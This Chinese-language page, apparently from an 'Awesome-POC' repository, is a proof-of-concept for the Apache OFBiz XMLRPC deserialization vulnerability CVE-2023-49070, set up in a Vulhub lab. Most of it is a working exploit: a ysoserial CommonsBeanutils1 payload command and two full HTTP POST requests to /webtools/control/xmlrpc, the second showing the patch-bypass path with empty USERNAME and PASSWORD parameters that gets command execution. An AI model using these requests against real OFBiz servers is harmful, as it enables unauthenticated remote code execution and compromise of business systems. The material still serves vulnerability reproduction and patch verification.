Awesome-POC/开发框架漏洞/Apache OfBiz 反序列化命令执行漏洞 CVE-2023-49070.md
2024-11-06 14:10:36 +08:00

113 lines
4.0 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache OfBiz 反序列化命令执行漏洞 CVE-2023-49070
## 漏洞描述
Apache OFBiz 是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新 J2EE/XML 规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类 WEB 应用系统的框架。 OFBiz 最主要的特点是 OFBiz 提供了一整套的开发基于 Java 的 web 应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
在 Apache OFBiz 17.12.03 版本及以前存在一处 XMLRPC 导致的反序列漏洞官方于后续的版本中对相关接口进行加固修复漏洞但修复方法存在绕过问题CVE-2023-49070攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。
Apache OFBiz 官方于 18.12.10 中彻底删除 xmlrpc 接口修复该漏洞。
参考链接:
- [https://www.openwall.com/lists/oss-security/2023/12/04/2](https://www.openwall.com/lists/oss-security/2023/12/04/2)
## 环境搭建
Vulhub 执行如下命令启动一个 Apache OfBiz 18.12.09 版本:
```
docker compose up -d
```
在等待数分钟后,访问 `https://your-ip:8443/accounting` 查看到登录页面,说明环境已启动成功。
如果是非本地 localhost 启动Headers 需要包含 `Host: localhost`,否则报错:
```
ERROR MESSAGE
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain xx.xx.xx.xx not accepted to prevent host header injection. You need to set host-headers-allowed property in security.properties file.
```
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20240104105720312.png)
## 漏洞复现
漏洞复现方式与 [CVE-2020-9496](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2020-9496) 相似,只是需要绕过官方对于漏洞的补丁限制。
首先,仍然使用 [ysoserial](https://github.com/frohoff/ysoserial) 的 CommonsBeanutils1 来生成 Payload
```
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/awesome_poc" | base64 | tr -d "\n"
```
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212094740031.png)
使用 CVE-2020-9496 中的复现方法发送数据包,已经无法成功进入 XMLRPC 的解析流程:
> Host: localhost
```
POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095704854.png)
把 Path 修改成 `/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y` 即可绕过限制:
> Host: localhost
```
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095750567.png)
进入容器中,可见 `touch /tmp/success` 已成功执行:
![](images/Apache%20OfBiz%20反序列化命令执行漏洞%20CVE-2023-49070/image-20231212095901069.png)